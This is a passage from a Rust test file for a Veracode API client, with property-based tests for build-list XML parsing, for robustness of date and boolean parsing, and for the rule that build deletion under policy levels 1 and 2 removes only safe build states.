2008            let xml = format!(r#"<buildlist app_id="{app_id}"></buildlist>"#);
2009            let config = VeracodeConfig::new("test_id", "test_key");
2010            let client = VeracodeClient::new(config)
2011                .expect("valid test client configuration");
2012            let api = BuildApi::new(client);
2013
2014            let result = api.parse_build_list(&xml);
2015
2016            prop_assert!(result.is_ok());
2017            if let Ok(build_list) = result {
2018                prop_assert_eq!(build_list.app_id, app_id);
2019                prop_assert_eq!(build_list.builds.len(), 0);
2020            }
2021        }
2022
2023        /// Property: Date parsing must never panic
2024        #[test]
2025        fn proptest_date_parsing_safety(
2026            date_str in prop::string::string_regex(".{0,100}")
2027                .expect("valid regex pattern for date strings")
2028        ) {
2029            // Test that date parsing never panics, even with invalid input
2030            use chrono::NaiveDate;
2031            let _ = NaiveDate::parse_from_str(&date_str, "%m/%d/%Y");
2032            // If we get here without panic, test passes
2033        }
2034
2035        /// Property: Boolean parsing in XML must handle arbitrary strings safely
2036        #[test]
2037        fn proptest_boolean_parsing_safety(
2038            bool_str in prop::string::string_regex(".{0,50}")
2039                .expect("valid regex pattern for boolean strings")
2040        ) {
2041            // Test that boolean parsing never panics
2042            let _ = bool_str.parse::<bool>();
2043            // If we get here without panic, test passes
2044        }
2045    }
2046}
2047
2048#[cfg(test)]
2049#[allow(clippy::expect_used)] // Test code: expect is acceptable for test setup
2050mod deletion_safety_proptests {
2051    use super::*;
2052    use proptest::prelude::*;
2053
2054    proptest! {
2055        #![proptest_config(ProptestConfig {
2056            cases: if cfg!(miri) { 5 } else { 1000 },
2057            failure_persistence: None,
2058            .. ProptestConfig::default()
2059        })]
2060
2061        /// Property: Policy level 1 must only delete safe states (critical invariant)
2062        #[test]
2063        fn proptest_policy_1_only_deletes_safe_states(
2064            status_str in prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
2065                .expect("valid regex pattern for status strings")
2066        ) {
2067            let status = BuildStatus::from_string(&status_str);
2068            let is_deletable = status.is_safe_to_delete(1);
2069
2070            // If deletable under policy 1, must be a safe state
2071            if is_deletable {
2072                prop_assert!(matches!(
2073                    status,
2074                    BuildStatus::Incomplete
2075                        | BuildStatus::NotSubmitted
2076                        | BuildStatus::PreScanFailed
2077                        | BuildStatus::PreScanCancelled
2078                        | BuildStatus::PrescanFailed
2079                        | BuildStatus::PrescanCancelled
2080                        | BuildStatus::ScanCancelled
2081                        | BuildStatus::Failed
2082                        | BuildStatus::Cancelled
2083                ));
2084            }
2085        }
2086
2087        /// Property: Policy level 2 must never delete ResultsReady (critical invariant)
2088        #[test]
2089        fn proptest_policy_2_never_deletes_results_ready(
2090            _dummy in 0u8..1 // Dummy parameter for proptest macro
2091        ) {
2092            prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
2093        }
2094
2095        /// Property: Unknown statuses under policy 1 must not be deletable (fail-safe)
2096        #[test]
2097        fn proptest_unknown_status_safe_default_policy_1(
2098            unknown_status in prop::string::string_regex("[A-Za-z0-9 ]{1,100}")
2099                .expect("valid regex pattern for unknown status strings")
2100                .prop_filter("Must not match known statuses", |s| {
2101                    !matches!(s.as_str(),
2102                        "Incomplete" | "Not Submitted" | "Submitted to Engine" | "Scan in Process" |
2103                        "Pre-Scan Submitted" | "Pre-Scan Success" | "Pre-Scan Failed" | "Pre-Scan Cancelled" |
2104                        "Prescan Failed" | "Prescan Cancelled" | "Scan Cancelled" | "Results Ready" |
2105                        "Failed" | "Cancelled"
2106                    )
2107                })
2108        ) {
2109            let status = BuildStatus::from_string(&unknown_status);
2110
2111            // Unknown statuses must not be deletable under policy 1 (fail-safe)
2112            prop_assert!(!status.is_safe_to_delete(1));
2113        }
2114
2115        /// Property: ScanInProcess must never be deletable under policy 1 (data integrity)
2116        #[test]
2117        fn proptest_scan_in_process_not_deletable_policy_1(
2118            _dummy in 0u8..1
2119        ) {
2120            prop_assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
2121        }
2122
2123        /// Property: PreScanSuccess must never be deletable under policy 1 (data preservation)
2124        #[test]
2125        fn proptest_prescan_success_not_deletable_policy_1(
2126            _dummy in 0u8..1
2127        ) {
2128            prop_assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
2129        }
2130    }
2131}